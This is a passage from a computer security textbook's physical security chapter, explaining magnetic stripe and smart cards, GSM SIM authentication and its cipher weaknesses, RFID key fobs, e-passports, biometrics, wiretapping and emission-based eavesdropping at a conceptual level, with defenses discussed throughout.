scanned before boarding. In most cases, the barcode is encoded with
an internal unique identifier that allows airport security to look up the
corresponding passenger’s record with that airline. Security staff then
verifies that the boarding pass was in fact purchased in that person’s name,
and that the person can provide photo identification. The use of a private,
external system prevents boarding passes from being forged, since it would
require an additional security breach for an attacker to be able to assign an
identifier to his or her own record with the airline.

In most other applications, however, barcodes provide convenience but
not security. Since barcodes are simply ink on paper, they are extremely
easy to duplicate. In addition, barcodes can be read from afar as long as the
ink is within line of sight of the attacker. Finally, once a barcode is printed,
it has no further ability to alter its encoded data. As a result, other mediums
were developed that allowed writing data as well as reading it.

3.2 Magnetic Stripe Cards

Developed in the late 1960s, the magnetic stripe card is one of the most per-
vasive means of electronic access control. Currently, magnetic stripe cards
are key components of many financial transactions, such as debit or credit
card exchanges, and are the standard format for most forms of personal
identification, including drivers’ licenses. These cards are traditionally
made of plastic and feature a stripe of magnetic tape contained in a plastic-
like film. Most cards adhere to strict standards set by the International
Organization for Standardization (ISO). These standards dictate the size
of the card, the location of the stripe, and the data format of the information
encoded into the stripe.

The magnetic stripe on standardized cards actually includes three tracks
for storing information. The first track is encoded using a 7-bit scheme,
featuring 6 bits of data and one parity bit per character, with a total of 79
characters. A parity bit is a bit whose value is a combinational function of
the others, such as exclusive-or. Since magnetic stripes cards can potentially
be worn down and subject to physical damage, the parity bit allows a stripe
reader to read a card even if there is a small amount of data loss.
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Magnetic Stripe Card Security

The first track of a magnetic stripe card contains the cardholder’s full name
in addition to an account number, format information, and other data at
the discretion of the issuer. This first track is often used by airlines when
securing reservations with a credit card.

The second track is encoded using a 5-bit scheme (4 bits of data and
1 parity bit per character), with a total of 40 characters. This track may
contain the account number, expiration date, information about the issuing
bank, data specifying the exact format of the track, and other discretionary
data. It is most often used for financial transactions, such as credit card or
debit card exchanges.

The third track is much less commonly used.

One vulnerability of the magnetic stripe medium is that it is easy to read
and reproduce. Magnetic stripe readers can be purchased at relatively low
cost, allowing attackers to read information off cards. When coupled with a
magnetic stripe writer, which is only a little more expensive, an attacker can
easily clone existing cards. Because of this risk, many card issuers embed
a hologram into the card, which is harder to reproduce. Most credit cards
also include space for a customer signature, verifying the authenticity of
the card. Unfortunately, many vendors do not always check this signature.
One effective deterrent against card fraud is a requirement for additional
information known only to the owner, such as a personal identification
number (PIN).

ISO standards do not permit vendors to store money on magnetic stripe
cards. Account numbers can be stored instead, which can be used to
access information in remote databases. Still, many organizations use cards
that store contents of monetary value. For example, transportation tickets
often store “money” that is only available for payment of transportation
fees. So, vendors sometimes use proprietary technology that provides
the convenience of storing data on a magnetic stripe in a format storing
“points” or “credits” on the card that have monetary value.

Unfortunately, the use of a format that allows the cards to contain data
that actually has a monetary value poses serious security risks. Because the
money on the card is simply represented by data, attackers who know the
format of the information on the stripe could create their own cards and
provide themselves with free services. For this reason, it is essential that
vendors protect the secrecy of their data format specifications and provide
some means of validating data integrity, such as employing a cryptographic
signature algorithm.

Physical Security

73



3.3 Smart Cards

Traditional magnetic stripe cards pose a number of security problems be-
cause they are relatively easy to duplicate and because there is no stan-
dardized mechanism for protecting the information contained on a card.
Solutions to both of these problems are provided by smart cards, which
incorporate an integrated circuit, optionally with an on-board microproces-
sor. This microprocessor features reading and writing capabilities, allowing
the data on the card to be both accessed and altered. Smart card technology
can provide secure authentication mechanisms that protect the information
of the owner and are extremely difficult to duplicate.

Smart cards do not suffer from the inherent weaknesses of the magnetic
stripe medium. They are by design very difficult to physically disassemble,
and an internal cryptoprocessor can provide data protection that simple
stripes cannot. Most security problems in smart cards are a result of
weaknesses in a specific implementation, not the basic technology itself.

First-generation smart cards require the integrated circuit to actually
contact a reading device in order to access or alter information. This
restricts the information on the card to those with physical access. A new
generation of smart cards instead relies on radio frequency technology to
allow contactless interaction of a smart card and a reading device. The
introduction of this capability exposes smart cards to similar security risks
as another popular technology, RFID, which is discussed in Section 3.4.

Smart Card Applications

Today, smart cards are used for a wide variety of applications. They are
commonly employed by large companies and organizations as a means of
strong authentication, often as a part of a single sign-on scheme. Some
credit companies have begun embedding smart cards into their credit cards
to provide more secure customer protection. In addition, many computer
disk encryption technologies rely on smart cards for the storage of an
external encryption key.

Smart cards may also be used as a sort of “electronic wallet,” containing
funds that can be used for a variety of services, including parking fees,
public transport, and other small retail transactions. Current implementa-
tions of these types of smart cards provide no verification of ownership,
so an attacker in possession of a stolen smart card can use it as if he were
the owner. In all electronic cash systems where this is the case, however,
the maximum amount of cash permitted on the card is low, to limit any
possibility of serious fraud.
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Smart Card Security

While most sophisticated smart cards feature a microprocessor that allows
them to perform some computational work and alter the contents of the
card, other less expensive versions simply contain a memory card, with no
ability to alter the contents without an external writer. Many phone cards
actually contain a monetary amount encoded on the card, for instance.

To prevent cloning and unauthorized alteration, most cards require that
a secret authentication code be presented to a microcontroller reader/writer
before memory can be written to a card. In addition, many phone cards
authenticate themselves to the phone network using a unique serial number
or PIN mechanism before any transfer of funds takes place, making them
more difficult to clone.

Simple Attacks on Smart Cards

Unfortunately, if a phone card’s secret code can be extracted, it may be
possible to tamper with the monetary value on the card. Possible attacks
include a social engineering approach (trying to recover the code from
employees of the phone company) or eavesdropping on communications
between a card and its reader.

Differential Power Analysis

In addition, even smart cards with secure cryptoprocessors can be subject
to a side channel attack known as differential power analysis. In this
attack, a malicious party records the power consumption of a smart card’s
microprocessor while it is performing cryptographic operations. Because
various operations on a processor require minutely different amounts of
power consumption, it may be possible to statistically analyze this recorded
information in order to reveal information about the cryptosystem or the
underlying cryptographic key that is being processed. In some cases,
this attack can be used to actually recover the secret key, breaking the
cryptosystem.

Since power analysis attacks are passive in that they do not alter the
operation of the analyzed processor, they are difficult to detect and prevent.
As such, in order to prevent this type of attack, hardware designers must
ensure that any information that could be gained by power analysis is
insufficient to compromise the underlying cryptosystem. One way this is
done is to include useless operations in conditional branches, so that the
time and power consumed does not reveal much information about input
values.
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SIM Cards

Many mobile phones use a special smart card called a subscriber identity
module card (SIM card), as show in Figure 9. A SIM card is issued by a
network provider. It maintains personal and contact information for a user
and allows the user to authenticate to the cellular network of the provider.
Many phones allow the user to insert their own SIM card, making the
process of switching phones simple and instantaneous. Standards for SIM
cards are maintained by the Global System for Mobile Communications
(GSM), which is a large international organization.

Figure 9: A SIM card used in a GSM cell phone, together with a dime to
show size. Photo by Dan Rosenberg included with permission.

SIM Card Security

SIM cards contain several pieces of information that are used to identify
the owner and authenticate to the appropriate cell network. Each SIM card
corresponds to a record in the database of subscribers maintained by the
network provider. A SIM card features an integrated circuit card ID (IC-
CID), which is a unique 18-digit number used for hardware identification.
Next, a SIM card contains a unique international mobile subscriber iden-
tity (IMSI), which identifies the owner’s country, network, and personal
identity. SIM cards also contain a 128-bit secret key. This key is used for
authenticating a phone to a mobile network, as discussed below. Finally,
SIM cards may contain a contacts list.

As an additional security mechanism, many SIM cards require a PIN
before allowing any access to information on the card. Most phones re-
quiring the use of a PIN automatically lock after three incorrect password
attempts. At this point, the phone can only be unlocked by providing an
8-digit personal unblocking key (PUK) stored on the SIM card. After ten
incorrect PUK attempts, the SIM card is permanently locked and must be
replaced.
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GSM Challenge-Response Protocol

When a cellphone wishes to join a cellular network to make and receive
calls, the cellphone connects to a local base station owned by the network
provider and transmits its IMSI to declare its identity. If the IMSI corre-
sponds to a subscriber’s record in the network provider’s database, the base
station transmits a 128-bit random number to the cellphone. This random
number is then encoded by the cellphone with the subscriber’s secret key
stored in the SIM card using a proprietary encryption algorithm known as
A3, resulting in a ciphertext block that is sent back to the base station. The
base station then performs the same computation, using its stored value
for the subscriber’s secret key. If the two ciphertexts match, the cellphone
is authenticated to the network and is allowed to make and receive calls.
This type of authentication is known as a challenge-response protocol. (See
Figure 10.)

IMSI  =  (this phone’s ID)

R = a 128-bit random number (the challenge)

EK(R) = the 128-bit random number encrypted 
using the subscriber’s secret key Kg y

(the response)

Figure 10: The challenge-response protocol between a cellphone (together
with its SIM card) and a cell tower. The security of this protocol is de-
rived from the fact that only the phone and the tower should know the
subscriber’s key.

After a SIM card has been authenticated to the network, the SIM card
produces a 64-bit ciphering key by encoding the user’s key and the previ-
ously sent random number, using another secret algorithm known as

A8.

Finally, the phone is ready to make the call, and all communications are
encrypted using the ciphering key with A5, another proprietary algorithm.

Initially, each of the algorithms used in protecting cellphone communi-
cation (A3, A5, and A8) were proprietary algorithms developed by GSM,
and were closely kept secrets. These proprietary algorithms were chosen
over other public options, such as 3DES or AES, because the newly de-
veloped algorithms were optimized for cell phone hardware at the time
and had significantly better performance. In many phones, the A3 and A8
algorithms are implemented as a single algorithm, known as COMP128.

(cell phone) © Miguel Angel Salinas/Shutterstock; (antenna
 tower) © Igor Nazarenko/Shutterstock
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GSM Vulnerabilities

Older SIM cards feature an implementation of COMP128 now known as
COMP128-1, which was reverse-engineered and found to be cryptographi-
cally insecure. A weakness in the algorithm reveals information about the
key, given a suitable input, allowing an attacker to recover a SIM card’s key
by rapidly issuing requests and examining the card’s output over the course
of several hours. This attack could be performed over the air, without the
need for physical access to the phone.

If the internal key is recovered from a phone by breaking COMP128,
cloning the SIM card is relatively simple, allowing an attacker to use a
victim’s account to place phone calls. Newer versions of COMP128, dubbed
COMP128-2 and COMP128-3, have not been broken in this way, however,
and as such are not vulnerable to this type of attack. Still, because the im-
plementations of these algorithms are secret, there is little proof of security
beyond GSM’s assurances.

Security flaws have also been discovered in implementations of the A5
algorithm, which is used to encrypt the actual transmission of data and
voice over cell phone networks. Several cryptographic weaknesses have
been identified in A5/1 (the most common version of the A5 algorithm),
which allow an attacker with extensive resources to break it. Compromise
of the A5 algorithm could allow an attacker to eavesdrop on cell phone
communications, a major security concern given the ubiquitous use of cell
phones in our society. Another implementation, known as A5/2, was
designed with heavy input by intelligence agencies to ensure breakability,
and was deployed only in specific countries in Eastern Europe and Asia.
Unfortunately, it was proven that the algorithm can be easily cracked. His-
torically, A5/1 and A5/2 were initially kept secret, but they have eventually
become public knowledge due to reverse engineering.

The weaknesses in COMP128 and A5 demonstrate again the risks of
security by obscurity—the idea that a cryptographic algorithm is safe from
being broken if it is kept secret, which contradicts the open design security
principle. Indeed, this approach is dangerous, because algorithms can
often be reverse-engineered. In addition, the people who work on pro-
gramming such algorithms may leak their design, either deliberately or by
accident. An algorithm is much more likely to leak out than cryptographic
keys, for instance, since an algorithm is always fixed and determined,
whereas keys are ever changing. Fortunately, because of the past reverse-
engineered attacks, future cell phone encryption methods are more likely
to be based on open standards. Because of the heavy public scrutiny placed
on standard cryptographic algorithms, there is higher confidence in their
security.
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3.4 RFIDs

The use of radio frequency identification, or RFID, is a rapidly emerg-
ing technology that relies on small transponders to transmit identification
information via radio waves. Like contactless smart cards, RFID chips
feature an integrated circuit for storing information, and a coiled antenna
to transmit and receive a radio signal. (See Figure 11.)

Figure 11: An RFID tag, taken from a DVD package, together with a dime
to show size. Photo by Dan Rosenberg included with permission.

Like smart cards, RFID tags must be used in conjunction with a separate
reader or writer. While some RFID tags require a battery, many are passive
and do not. The effective range of RFID varies from a few centimeters to
several meters, but in most cases, since data is transmitted via radio waves,
it is not necessary for a tag to be in the line of sight of the reader.

This technology is being deployed in a wide variety of applications.
Many vendors are incorporating RFID for consumer-product tracking, to
either supplement or replace barcodes. Using RFID tags, a retailer can track
which items are selling best as well as use the tags for theft detection, just
by putting an RFID reader around the entrance to the shop. In addition,
RFID provides an advantage over barcodes in that chips are much more
difficult to replicate than simple ink on paper. Incidentally, RFID chips are
also used to identify and track animals in the wild.

Because RFID chips operate using radio waves, they can release infor-
mation without the need for direct physical contact. As such, it is crucial
that some mechanism is employed to protect the information contained on
RFID chips from unauthorized readers. If no such mechanism were used, a
malicious party could easily steal personal information from a distance.

Physical Security

79



Hopping Codes and Remote Automobile Entry

Most modern vehicles feature a key fob that allows the owner to lock, un-
lock, or even start the engine of the vehicle from a distance. These fobs use
RFID technology to communicate with a receiver in the car. Similar devices
are commonly used to allow a driver to remotely open gates or garage
doors. Several security measures are in place to prevent an attacker from
eavesdropping on an RF transmission and recreating the signal, gaining
access to the vehicle or property. The controller chips in the key fob and the
receiver in the vehicle use what is known as a hopping code or rolling code
to accomplish this. The controllers use the same pseudo-random number
generator, so that each device produces the same sequence of unpredictable
numbers.

The challenge is to keep the two sequences synchronized. When the
owner presses a button, say, to unlock doors, the key fob transmits its
hopping code—the next number in the key fob’s sequence (along with a
command instructing the car to open its doors). The receiver in the car
stores a list of the next 256 hopping codes in its sequence, starting from
the last time the key fob and the car synchronized their sequences. If the
hopping code sent by the key fob matches one of these 256 codes, then
the receiver accepts the command and performs the requested action. The
receiver then updates its sequence to the next 256 numbers after the one just
sent by the key fob. Once a number is used, it is never used again. Thus,
even if an attacker can eavesdrop on the communication between the key
fob and the car, he cannot reuse that number to open the car.

The receiver keeps a list of 256 numbers in case the fob and the receiver
become desynchronized. For example, if the button on the key fob is
pressed while it is out of range of the receiver, it uses up the next number in
its sequence. In the event that a fob is used more than 256 times while out
of range, the receiver will no longer accept its transmissions and the two
will need to be resynchronized using a factory reset mechanism.

Because hopping codes are essentially random numbers, it is extremely
unlikely that a key fob would be able to successfully execute a command on
an unmatched receiver. Nevertheless, even though an eavesdropper cannot
reuse a successful communication between a key fob and its receiver, an
attack might be able to capture and replay a signal transmitted while the
fob is out of range. In this case, the receiver will not have incremented
its list of 256 acceptable hopping codes. To take advantage of this, some
car thieves employ a technique where they jam the radio channel used by
a key fob and simultaneously capture the transmission. This prevents the
owner from using their key fob but allows the attacker to unlock or start
the victim’s car by replaying the captured signal.
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KeeLoq

More recently, the actual algorithms that generates hopping codes have
been subject to cryptographic attacks. The most common algorithm em-
ployed to generate the pseudo-random codes is known as KeeLoq, a pro-
prietary algorithm designed specifically for RFID hardware. The algorithm
requires a 32-bit key, which is then used to encrypt an initialization vector,
which in turn is incremented with each use.

Researchers have developed attacks on KeeLoq stemming from com-
mon key bits being used in certain car models. These attacks allowed
to reconstruct a fob’s encryption key, given a high number of captured
transmissions and several days of computing time. Subsequently, a side-
channel attack completely broke the KeeLoq system by measuring the
power consumption of a key fob during the encryption process and using
this information to recover the encryption key. Once the attacker had
acquired this key, it was possible to clone a remote entry fob after inter-
cepting two consecutive transmissions. It was also demonstrated that it
was possible to use this attack to reset the internal counter of the receiver,
effectively locking owners out of their cars or garages. These weaknesses
in the algorithm have been addressed by increasing the size of the KeeLoq
key to 60 bits, which prevents these attacks, but this change has yet to be
implemented on a mass scale.

Digital Signature Transponder

Several automobile key fobs and tags for automatic payment systems at gas
stations use an RFID device called Digital Signature Transponder (DST),
which is manufactured by Texas Instruments. A DST stores a 40-bit secret
key and incorporates a proprietary encryption algorithm called DST40.
The main use of a DST is to execute a simple challenge-response protocol,
similar to the one for GSM phones (see Figure 10), where the reader
asks the DST to encrypt a randomly generated challenge to demonstrate
possession of the secret key.

Confirming once again the failure of “security by obscurity,” the DST40
algorithm has been reverse engineered and an attack that recovers the secret
key from two responses to arbitrary challenges has been demonstrated.
This attack allows to create a new device that fully simulates a DST and
can be used to spoof a reader (e.g., to charge gas purchases to the account
of the DST owner).
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Electronic Toll Systems

Electronic toll systems allow motor vehicle owners to place an RFID tag
near their dashboards and automatically pay tolls at designated collection
sites. These systems provide great convenience, since they remove the
hassle of dealing with cash and allow drivers to be tolled without coming
to a stop. Unfortunately, many implementations of electronic toll collection
systems provide no encryption mechanism to protect the contents of the
RFID tag.

Because the tag only contains a unique identifier that toll collection sites
use to deduct money from an account, it is not possible to actually alter the
money stored on a user’s account. Still, many tags may be easily cloned,
allowing a malicious party to impersonate a victim and charge tolls to their
account. In addition, it may be possible to create a “digital alibi” in the
event of a crime, if an attacker clones their own tag and places it on another
person’s automobile. If checked, the cloned tag may provide false evidence
that the attacker was not at the scene of the crime.

A typical defense mechanism against cloning attacks is to install cam-
eras to capture photographs of the license plates of vehicles that pass
through toll collection sites. This approach also allows authorities to iden-
tify and impose fines on drivers with missing or expired tags.

Passports

As another example, modern passports of several countries, including the
United States, feature an embedded RFID chip that contains information
about the owner, including a digital facial photograph that allows airport
officials to compare the passport’s owner to the person who is carrying the
passport. (See Figure 12.)

In order to protect the sensitive information on the passport, all RFID
communications are encrypted with a secret key. In many instances, how-
ever, this secret key is merely the passport number, the holder’s date of
birth, and the expiration date, in that order. All of this information is
printed on the card, either in text or using a barcode or other optical storage
method. While this secret key is intended to be only accessible to those with
physical access to the passport, an attacker with information on the owner,
including when their passport was issued, may be able to easily reconstruct
this key, especially since passport numbers are typically issued sequentially.
In addition, even if an attacker cannot decrypt the contents of an embedded
RFID chip, it may still be possible to uniquely identify passport holders and
track them without their knowledge, since their secret key does not change.

Physical Security

82



RFID chip and 
antenna is embedded 
in the cover

e-Passport
symbol

Figure 12: An e-passport issued by the United States of America.

To prevent unauthorized parties from reading private information from
afar without an owner’s knowledge, the covers of some RFID passports
contain materials that shield the passport from emitting radio waves while
it is closed. Even so, these measures can be circumvented if the passport
is open slightly. For example, if a passport’s owner is keeping additional
papers or money inside the passport, it may leak radio waves.

3.5 Biometrics

The term biometric in security refers to any measure used to uniquely
identify a person based on biological or physiological traits. In general,
biometric systems may be used to supplement other means of identification
(biometric verification), or they may provide the sole means of authentica-
tion (biometric identification). Generally, biometric systems incorporate
some sort of sensor or scanner to read in biometric information and then
compare this information to stored templates of accepted users before
granting access.

(RFID) © Benjamin Haas/Shutterstock; (passport) © Charles Taylor/
Shutterstock
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Requirements for Biometric Identification

There are several requirements that must be met for a characteristic to be
consider usable as biometric identification:
• Universality. Almost every person should have this characteristic.

For example, the presence of a birthmark would not be acceptable bio-
metric identification, because many people do not have birthmarks.
Fingerprints, on the other hand, are universal.
• Distinctiveness. Each person should have noticeable differences in

the characteristic. For example, retinal images and DNA are distinc-
tive, fingerprints are mostly distinctive, and the presence or absence
of tonsils is not distinctive.
• Permanence. The characteristic should not change significantly over

time. For instance, fingerprints and DNA have permanence; hair
color and weight do not (even though they are commonly reported
on government-issued IDs).
• Collectability. The characteristic should have the ability to be effec-

tively determined and quantified.
Other considerations, which are desirable but not absolutely necessary,
include performance (the accuracy and speed of recognition), acceptability
(whether or not people are willing to accept the use of the biometric char-
acteristic), and circumvention (the degree to which the characteristic can
be forged or avoided). The ideal biometric system would satisfy all of these
requirements, both the required and desired ones, but real-life systems tend
to be lacking in some of these areas.

How Biometric Identification is Done

One of the most important aspects of any biometric system is the mecha-
nism used to actually verify a match between a user and a stored biometric
template. Systems may use several techniques to perform this sophisticated
pattern matching. It would be unreasonable to expect a provided biometric
sample to match up exactly with a stored template, due to slight changes
in biometric features and small errors in the sample collection. Some
level of flexibility must be achieved in order for the system to work at all.
Nevertheless, the system must be precise enough that false matches do not
occur, allowing unauthorized users to gain access to restricted resources.

Typically, this is accomplished by converting attributes of a biometric
sample into a feature vector—a set of data values corresponding to essen-
tial information about the sample, and comparing that vector to a stored
reference vector, which is a feature vector of a previous biometric sample
that the system is trying to test against. (See Figure 13.)
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Figure 13: The verification process for a biometric sample. A biometric
sample is converted into a feature vector and that vector is compared
against a stored reference vector. If the similarity is good enough, then the
biometric sample is accepted as being a match.

Generating Feature Vectors

Fingerprint pattern matching works by comparing the locations and ori-
entations of key features in the fingerprint, such as ridge endings and
bifurcations (splits in a line), while allowing for a small margin of error.
Facial pattern matching is much more complex. Usually, the face is adjusted
computationally so that it appears to be looking directly at the camera.
Next, a feature vector is generated by calculating the location of distinct
facial features, such as the ridge of the eyebrows, the edges of the mouth,
the tip of the nose, and eyes. Using advanced techniques such as elastic
graph theory or neural networks, this feature vector is compared to stored
templates to assess the possibility of a match. Other types of biometric
authentication may use different techniques to check for a match, but there
is always the crucial step of generating a feature set that allows a reader to
perform computational comparisons between biometric samples.

(“Biometric”) © MarFot/
Fotolia, LLC–Royalty Free; (“Reader”) © Andrew Brown/Fotolia, LLC–Royalty

 Free; (“Comparison algorithm”) © Norman Chan/Shutterstock
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Candidate Biometric Characteristics

The most common biometric information is a person’s signature, which
is intended to be unique for each person. Even so, not everyone has a
prepared signature, and such a signature may change over time, or may
be easy to forge. Because of these limitations, signatures are not effective as
a secure means of biometric authentication.

Fingerprints have been used in forensic work since the mid-19th century
to identify criminals, but more recently, fingerprint scanners have been
incorporated into electronic authentication systems as a means of granting
access to specific users. Unlike signatures, fingerprints are universal except
in rare cases, unique, easily collected and analyzed, and difficult to circum-
vent, making them an effective biometric characteristic. While fingerprints
may change slightly over time, the degree to which they change does not
affect a biometric system’s ability to identify the owner.

Voice recognition does not score as well. While most people have a
voice and are willing to use it as a means of authentication, it is often not
distinctive enough to differentiate from another person’s voice. In addition,
the human voice changes significantly from year to year, and voice recog-
nition systems can be easily circumvented using a sound recording of an
authorized user.

Another common biometric system uses a person’s eyes as a unique
characteristic. These types of scans satisfy universality, distinctiveness,
permanence, and collectability, and are very difficult to circumvent. Older
systems employ retinal scanning, which involves illuminating the eye with
a bright sensor and capturing an image of the blood vessels in the back
of the eye. Many users find retinal scanning uncomfortable or invasive,
and would prefer other means of authentication. Iris scanning systems
are generally better received, providing equally strong authentication by
taking a high-quality photograph of the surface of the eye.

Other biometric systems are more commonly used to identify people in
public, rather than provide authentication for a select pool of users. For
example, the United States government is funding research in technologies
that can identify a person based on facial characteristics and gait (the
unique way that a person walks), for use in applications such as airport
security. The advantage of these techniques in a surveillance context is that
they do not require a subject’s cooperation, and can be conducted without
a subject’s knowledge.

Nevertheless, current implementations of these technologies are not
very effective. Face recognition is not especially accurate, and does not
perform well under many conditions, including poor lighting or situations
where the subject’s face is captured at an angle rather than straight-on. In
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addition, wearing sunglasses, changing facial hair, or otherwise obstructing
the face can foil facial recognition technology. Similarly, a person can
defeat gait recognition by simply altering the way they walk. With further
development, however, these surveillance techniques may become more
accurate and difficult to circumvent.

Privacy Concerns for Biometric Data

The storage of biometric data for authentication purposes poses a number
of security and privacy concerns. Access to stored biometric data may allow
an attacker to circumvent a biometric system or recover private information
about an individual. Since biometric data does not change over time, once
a person’s biometric data is compromised, it is compromised forever. As
such, encryption should be used to protect the confidentiality of biometric
data, both in storage and transmission. This security requirement poses a
unique problem, however.

A biometric sample provided to a system by a user is not expected to
match the stored template exactly—small discrepancies are expected, and
allowing for these discrepancies is necessary for the system to function
correctly. Thus, the comparison function between a fresh feature vector and
a stored reference vector must be done to allow for slight differences, but
it should also be ideally performed in a way that avoids a confidentiality
breach.

The standard method of storing a cryptographic hash of a value to
be kept private does not work for biometric applications. For example,
suppose that we store a cryptographic hash of the reference vector obtained
from the biometric template and we compare it with the cryptographic hash
of the feature vector obtained from the biometric sample collected. The
comparison will fail unless the sample and template are identical. Indeed
standard cryptographic hash functions, such as SHA-256, are not distance
preserving and are very sensitive to even small changes in the input.

Recently, various methods have been proposed that support efficient
biometric authentication while preserving the privacy of the original bio-
metric template of the user. One the approaches consists of extending the
concept of a message authentication code (MAC) to that of an approximate
message authentication code (AMAC), which has the following properties:
• Given the AMACs of two messages, it is possible to determine effi-

ciently whether the distance between the original messages is below
a certain preestablished threshold δ.

• Given the AMAC of a message, it is computationally hard to find any
message within distance δ from it.
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4 Direct Attacks Against Computers

Acquiring physical access to a computer system opens up many avenues
for compromising that machine. Several of these techniques are difficult
to prevent, since hardware manufacturers generally assume that the user
is a trusted party. This vulnerability to physical, direct access to computers
further emphasizes the need for secure access control measures that prevent
physical access to sensitive computer systems. Likewise, the mere fact that
computing equipment is ultimately physical implies a number of environ-
mental considerations as well.

4.1 Environmental Attacks and Accidents

Computing equipment operates in a natural environment and if this envi-
ronment is significantly altered, then the functionality of this computing
equipment can be altered, sometimes significantly. The three main compo-
nents of a computing environment are the following:

• Electricity. Computing equipment requires electricity to function;
hence, it is vital that such equipment has a steady uninterrupted
power supply. Power failures and surges can be devastating for
computers, which has motivated some data centers to be located next
to highly reliable hydroelectric plants.

• Temperature. Computer chips have a natural operating temperature
and exceeding that temperature significantly can severely damage
them. Thus, in addition to having redundant fire-protection de-
vices, high-powered supercomputers typically operate in rooms with
massive air conditioners. Indeed, the heating, ventilating, and air
conditioning (HVAC) systems in such rooms can be so loud that it
is difficult for people to hear one another without shouting.

• Limited conductance. Because computing equipment is electronic,
it relies on there being limited conductance in its environment. If
random parts of a computer are connected electronically, then that
equipment could be damaged by a short circuit. Thus, computing
equipment should also be protected from floods.

For example, accidentally dropping one’s cellphone into a pot of boiling
spaghetti will likely damage it beyond repair. In general, the protection of
computing equipment must include the protection of its natural environ-
ment from deliberate and accidental attacks, including natural disasters.
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4.2 Eavesdropping

Eavesdropping is the process of secretly listening in on another person’s
conversation. Because of this threat, protection of sensitive information
must go beyond computer security and extend to the environment in which
this information is entered and read. Simple eavesdropping techniques
include using social engineering to allow the attacker to read informa-
tion over the victim’s shoulder, installing small cameras to capture the
information as it is being read, or using binoculars to view a victim’s
monitor through an open window. These direct observation techniques are
commonly referred to as shoulder surfing. Simple eavesdropping can be
prevented by good environmental design, such as avoiding the placement
of sensitive machines near open windows. Nonetheless, more complex
techniques of eavesdropping have emerged that are more difficult to pre-
vent.

Wiretapping

Given physical access to the cables of a network or computer, it may be
possible for an attacker to eavesdrop on all communications through those
cables. Many communication networks employ the use of inexpensive
coaxial copper cables, where information is transmitted via electrical im-
pulses that travel through the cables. Relatively inexpensive means exist
that measure these impulses and can reconstruct the data being transferred
through a tapped cable, allowing an attacker to eavesdrop on network
traffic. These wiretapping attacks are passive, in that there is no alteration
of the signal being transferred, making them extremely difficult to detect.
(See Figure 14.)

Figure 14: Wiretapping.

Physical Security

89



Defenses Against Wiretapping

Many networks, including much of the telephone network and most com-
puter networks, use twisted pair cables, which feature two wires, usually
copper, that are entwined to eliminate electromagnetic interference. Un-
shielded twisted pair (UTP) cable is inexpensive compared to coaxial or
fiber optic cable. These cables are subject to the same types of signal leakage
attacks as coaxial cable, without a loss of signal strength.

A more common and less expensive approach, however, is to briefly
disconnect an Ethernet cable, insert a passive wiretapping device, and
reconnect it. While this may go undetected by human users, many intrusion
detection systems are triggered by the disconnection of network cables.

High-security networks often employ the use of fiber optic cable as
a more secure alternative. Fiber optic cables transmit light rather than
electricity, which prevents the signal leakage that occurs in coaxial cable.
It is still sometimes possible to eavesdrop on communications transmitted
over fiber optic cable, however. An attacker can place a fiber optic cable in
a micro-bend clamping device, which holds the cable in a bent position,
where it leaks a tiny amount of light. An attached photo sensor can
transmit the information via an optical-electrical converter, where it can be
reinterpreted by a computer. This attack results in a tiny drop in the signal
being transmitted over the network, so it may be detected by fiber optic
intrusion detection systems. More advanced attacks may employ means of
reboosting the signal to make up for this signal drop.

Both of these attacks demonstrate the importance of protecting not
only computer systems, but also the network cables over which sensitive
information is transmitted. Attacks on fiber optic cables are expensive and
may be detected, but are still a possibility. Many organizations use end-
to-end encryption to protect data being transmitted over the network—
eavesdropping is rendered useless if the contents are not readable by the
attacker.

Radio Frequency Emissions

One of the earliest techniques of computer eavesdropping gained
widespread attention through the 1985 publication of a paper by Dutch
computer researcher Wim van Eck. Cathode Ray Tube (CRT) displays, used
by older computer monitors, emit electromagnetic radiation in the Radio
Frequency (RF) range.
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Van Eck demonstrated that these emissions could be read from a dis-
tance and used to reconstruct the contents of a CRT screen. Since RF
emissions can travel through many nonmetallic objects, computer monitors
could be read regardless of whether they are within eye-shot of an attacker.

More recent research has extended this principle to modern Liquid
Crystal Display (LCD) screens. Fortunately, preventative measures have
been developed that utilize techniques to shield monitors and reduce these
emissions, but they are rarely deployed outside of high-security govern-
ment applications, due to a low prevalence of this type of attack and the
expensive cost of equipment necessary to perform it. In an environment
where other attacks are impossible due to security measures, however, this
form of eavesdropping is certainly within the realm of possibility.

Optical Emissions

A more recent attack has emerged that allows eavesdropping using emis-
sions in the range of visible light, rather than the RF range. The attack
requires the use of a photosensor, which is relatively cheap compared to
the expensive equipment needed for an RF eavesdropping attack. CRT
displays work by using an electron beam that scans the surface of the
screen, refreshing each pixel individually at incredibly fast speeds. At the
moment the electron beam hits a pixel, there is a brief burst of brightness,
which makes this attack possible. A photosensor can be trained on a wall in
the room, and by analyzing changes in the light of the room and applying
imaging technology to reduce “noise,” it is possible to reconstruct an image
of the contents of the screen. This attack has been proven to work from up to
50 meters away, requiring only that the attacker can train a photosensor on
any wall in the room. Fortunately, since the attack relies on visible light, as
long as a room is not in an attacker’s line of sight, it is safe from this attack.
Also, this attack does not work on LCD monitors, because of differences
in how pixels are refreshed on the screen. Like RF eavesdropping, this
attack is possible, but considered unlikely to occur in most contexts, and,
especially with the advent of LCD screens, it is not expected to be a high-
priority security concern in the future.

Acoustic Emissions

In addition to RF radiation and visible light, computer operations often
result in another byproduct, sound. Recent research has proven it possible
to use captured acoustic emissions to compromise computer security. These
techniques are still in their infancy, so they are unlikely to occur outside a
lab, but they may become security concerns later on.
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Dmitri Asonov and Rakesh Agrawal published a paper in 2004 detailing
how an attacker could use an audio recording of a user typing on a key-
board to reconstruct what was typed. (See Figure 15.) Each keystroke has
minute differences in the sound it produces, and certain keys are known
to be pressed more often than others. After training an advanced neural
network to recognize individual keys, their software recognized an average
79% of all keystrokes.

sound recording
device

microphone tomicrophone to 
capture keystroke
sounds

Figure 15: A schematic of how a keyboard acoustic recorder works.

Also in 2004, researchers Adi Shamir and Eran Tromer conducted an
experiment that demonstrated the possibility of revealing a machine’s CPU
instructions by analyzing acoustic emissions from the processor. In theory,
this may provide attackers with additional information about the inner
workings of a computer, including exposing which routine or program is
being executed to perform a certain task. In addition, information can be
gathered to attack cryptographic functions, such as the algorithm used and
the time required for each computation.

Hardware Keyloggers

A keylogger is any means of recording a victim’s keystrokes, typically
used to eavesdrop passwords or other sensitive information. There are
many ways of implementing software keyloggers. A newer innovation,
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however, is the hardware keylogger. Hardware keyloggers are typically
small connectors that are installed between a keyboard and a computer.
For example, a USB keylogger is a device containing male and female USB
connectors, which allow it to be placed between a USB port on a computer
